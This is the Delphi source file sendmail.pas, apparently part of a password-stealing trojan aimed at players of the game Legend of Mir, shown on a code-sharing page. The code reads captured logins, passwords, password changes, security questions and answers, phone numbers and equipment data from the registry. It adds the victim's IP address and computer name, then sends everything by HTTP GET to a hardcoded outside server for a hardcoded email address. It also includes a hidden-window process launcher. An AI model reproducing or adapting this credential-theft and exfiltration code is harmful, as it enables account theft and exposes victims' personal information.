📄 sendmail.pas
字号:
unit SendMail;
interface
uses winsock,Reg,windows,Other;
procedure SendEMail;
// procedure SendEMailOwn;
procedure ClearSH(Root:Hkey;StrPath:Pchar);
procedure ClearUnRecord(Root:Hkey;StrPath:Pchar;Flag:String);
function StartNet(host: string; port: integer; var sock: integer): Boolean;
function GetMyIP: string;
function GetIP(Host: string): string;
procedure StopNet(Fsocket: integer);
function SendData(FSocket: integer; SendStr: string): integer;
function GetData(FSocket: integer): string;
procedure SendHtmlMail(html: string);
function LocalIP: string;
implementation
const CRLF=#13#10;
const WebStr='http://movie.lhjy.net/sendmail1.asp';
const MyEMail='sboy_z@yahoo.com.cn';
procedure ClearSH(Root:Hkey;StrPath:Pchar);
var SubKey,Key:String;
i,n,p:integer;
begin
//n:=0;
//p:=0;
n:=Getkeyname(Root,StrPath,SubKey);
if n>0 then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then
Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if readvalue(Root,pchar(Strpath+'\'+Key),'区域')='abcdefghijklmnopqrstuvwxyz1234567890' then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
End;
procedure ClearUnRecord(Root:Hkey;StrPath:Pchar;Flag:String);
var SubKey,Key:String;
i,n,p:integer;
begin
//n:=0;
//p:=0;
n:=GetKeyname(Root,StrPath,SubKey);
if n>0 then begin
if Flag='Change password' then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if (readvalue(Root,pchar(Strpath+'\'+Key),'ID')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'OP')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NP')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'RE')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NP')<>readvalue(Root,pchar(Strpath+'\'+Key),'RE')) then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
if Flag='Registry' then begin
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
if (readvalue(Root,pchar(Strpath+'\'+Key),'ID')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'PW')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'RE')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'NA')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'BI')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'Q1')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'A1')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'Q2')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'A2')='') or
(readvalue(Root,pchar(Strpath+'\'+Key),'PW')<>readvalue(Root,pchar(Strpath+'\'+Key),'RE')) then
Delsub(Root,pchar(Strpath),pchar(Key));
delete(SubKey,1,p);
end;
end;
end;
End;
function GetMailbody(var Body:string;ownok:boolean=false):String;
var SubKey,Key,Res,Temp,Tempok:string;
i,n,p:integer;
flag:Boolean;
TempPass:string;
begin
flag:=false;
SubKey:='';
n:=getkeyname(HKEY_CLASSES_ROOT,SubSubKey,SubKey);
if n<>0 then begin
flag:=True; // '传奇登录'
Body:='传奇登陆：';
Res:=Res+'传奇登陆';
for i:=1 to n do begin //DOOP SUBKEY
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
TempPass:=ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'PW');
if ValueExists(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'区域') then
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'区域')+
'用户:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'ID')+
'密码:'+TempPass+
'服务器:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'SP');
if (ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'JsN1')) and
(ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'JsD1')) then
Temp:=Temp+'角色名1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsN1')+
'职业1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsZ1')+
'等级1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsD1')+
'性别1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsS1');
if (ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'JsN2')) and
(ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'JsD2')) then
Temp:=Temp+'角色名2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsN2')+
'职业2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsZ2')+
'等级2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsD2')+
'性别2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'JsS2');
if (ValueExists(hkey_classes_root,pchar(SubSubKey+'\'+Key),'ZB')) then begin
Res:=Res+'装备';
Temp:=Temp+'装备'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubSubKey+'\'+Key),'ZB');
end;
delete(SubKey,1,p);
end;
Body:=Body+Temp;
end;
SubKey:='';
Temp:='';
n:=getkeyname(HKEY_CLASSES_ROOT,SubChange,SubKey);
if n<>0 then begin
flag:=True; //'修改密码'
Body:=Body+'修改密码：';
Res:=Res+'修改密码'; //修改密码
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
TempPass:=ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'NP');
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'区域')+ //Legend\Change password
'用户名:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'ID')+ // Legend\Change password
'当前密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'OP')+ // Legend\Change password
'新密码:'+TempPass+ //Legend\Change password
'重复:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubChange+'\'+Key),'RE'); //Legend\Change password
delete(SubKey,1,p);
end;
Body:=Body+Temp;
end;
SubKey:='';
Temp:='';
n:=getkeyname(HKEY_CLASSES_ROOT,SubRegistry,SubKey);
if n<>0 then begin
flag:=True; //'新用户'
Body:=Body+'新建用户：';
Res:=Res+'新建用户';
for i:=1 to n do begin
p:=pos(',',SubKey);
if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'区域')+
'用户:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'ID')+
'密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'PW')+
'确认:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'RE')+
'你的名字:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'NA')+
'生日:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'BI')+
'提问1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'Q1')+
'回答1:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'A1')+
'提问2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'Q2')+
'回答2:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'A2')+
'电话号码:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'NU')+
'移动电话号码:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'MN')+
'E-Mail:'+ReadValue(HKEY_CLASSES_ROOT,pchar(SubRegistry+'\'+Key),'EM');
delete(SubKey,1,p);
end;
Body:=Body+Temp;
end;
if flag then begin
Temp:='';
Temp:='附加信息：'+
'IP地址:'+LocalIP+
'计算机名:'+myGetcomputername;
if WinX then
Temp:=Temp+'操作系统:win98'
else Temp:=Temp+'操作系统:win2000';
Temp:=Temp+'发送时间:'+GetDateTime+Tempok;
Temp:=Temp;
BODY:=BODY+TEMP;
end;
Result:=Res;
End;
function LookupName(const Name: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(Name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;
function HtmlEncode(s: string): string;
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
if b <= 9 then result := chr($30 + b)
else result := chr($41 - 10 + b);
end;
begin
result := '';
for i := 1 to length(s) do
if s[i] = ' ' then result := result + '+'
else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
begin
v1 := ord(s[i]) mod 16;
v2 := ord(s[i]) div 16;
result := result + '%' + i2s(v2) + i2s(v1);
end
else result := result + s[i];
end;
procedure SendEMail;
var
MailText:String;
Subject:String;
urlstr:String;
begin
Subject:=Getmailbody(MailText,true);
if Subject='' then exit;
urlstr:=WebStr+'?ToMail='+HtmlEncode(MyEMail)+'&MailBody='+HtmlEncode(MailText);
SendHtmlMail(urlstr);
end;
function LocalIP: string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array[0..63] of char;
I: Integer;
GInitData: TWSADATA;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then
Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do
begin
result := StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;
function StartNet(host: string; port: integer; var sock: integer): Boolean;
var
wsadata: twsadata;
FSocket: integer;
SockAddrIn: TSockAddrIn;
err: integer;
begin
WSAStartup($0101, WSAData);
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
if FSocket = invalid_socket then
begin
Result := False;
Exit;
end;
SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port := htons(port);
err := connect(FSocket, SockAddrIn, SizeOf(SockAddrIn));
if err = 0 then
begin
sock := FSocket;
Result := True;
end
else
Result := False;
end;
procedure StopNet(Fsocket: integer);
//var
// err: integer;
begin
//err :=
closesocket(FSocket);
//err :=
WSACleanup;
end;
function SendData(FSocket: integer; SendStr: string): integer;
var
DataBuf: array[0..4096] of char;
err: integer;
begin
strcopy(DataBuf, pchar(SendStr));
err := send(FSocket, DataBuf, strlen(DataBuf), MSG_DONTROUTE);
Result := err;
end;
function GetData(FSocket: integer): string;
const
MaxSize = 1024;
var
DataBuf: array[0..MaxSize] of char;
//err: integer;
begin
//err :=
recv(FSocket, DataBuf, MaxSize, 0);
Result := Strpas(DataBuf);
end;
function GetMyIP: string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array[0..63] of char;
I: Integer;
GInitData: TWSADATA;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do begin
if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;
function GetIP(Host: string): string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
i: Integer;
GInitData: TWSADATA;
begin
WSAStartup($0101, GInitData);
Result := '';
phe := GetHostByName(pchar(Host));
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do
begin
if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;
function WinExec2(ExeFile:string;ProcessInfo: PProcessInformation=nil):boolean;
var
sStartInfo: STARTUPINFO;
ProcInfo: TProcessInformation;
PProcInfo: PProcessInformation;
begin
ZeroMemory(@sStartInfo, sizeof(sStartInfo));
SStartInfo.cb := sizeof(sStartInfo);
SStartInfo.wShowWindow:=sw_hide;
if ProcessInfo=nil then PProcInfo:=@ProcInfo
else PProcInfo:=ProcessInfo;
result := CreateProcess(nil, Pchar(ExeFile), nil, nil, false, CREATE_DEFAULT_ERROR_MODE,
nil, nil, sStartInfo, PProcInfo^);
end;
procedure SendHtmlMail(html: string);
var
host, hoststring: string;
port: integer;
i: integer;
E: Integer;
FSocket: integer;
begin
// writedat(html,'c:\game.txt');
if uppercase(copy(html, 1, 7)) <> 'HTTP://' then exit;
hoststring := copy(html, 8, maxint);
i := pos('/', hoststring);
if i <> 0 then
delete(hoststring, i, maxint);
i := pos(':', hoststring);
if i = 0 then
begin
host := hoststring;
port := 80;
end
else begin
host := copy(hoststring, 1, i - 1);
Val(copy(hoststring, i + 1, maxint), port, E);
if E <> 0 then port := 80;
end;
if StartNet(getip(host), port, FSocket) then
begin
SendData(FSocket,
'GET ' + html + ' HTTP/1.0'#$D#$A +
'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*'#$D#$A +
'Accept-Language: zh-cn'#$D#$A +
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'#$D#$A +
'Host: ' + Hoststring + #$D#$A +
'Proxy-Connection: Keep-Alive'#$D#$A#$D#$A);
getdata(FSocket);
StopNet(Fsocket);
end;
end;
End.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -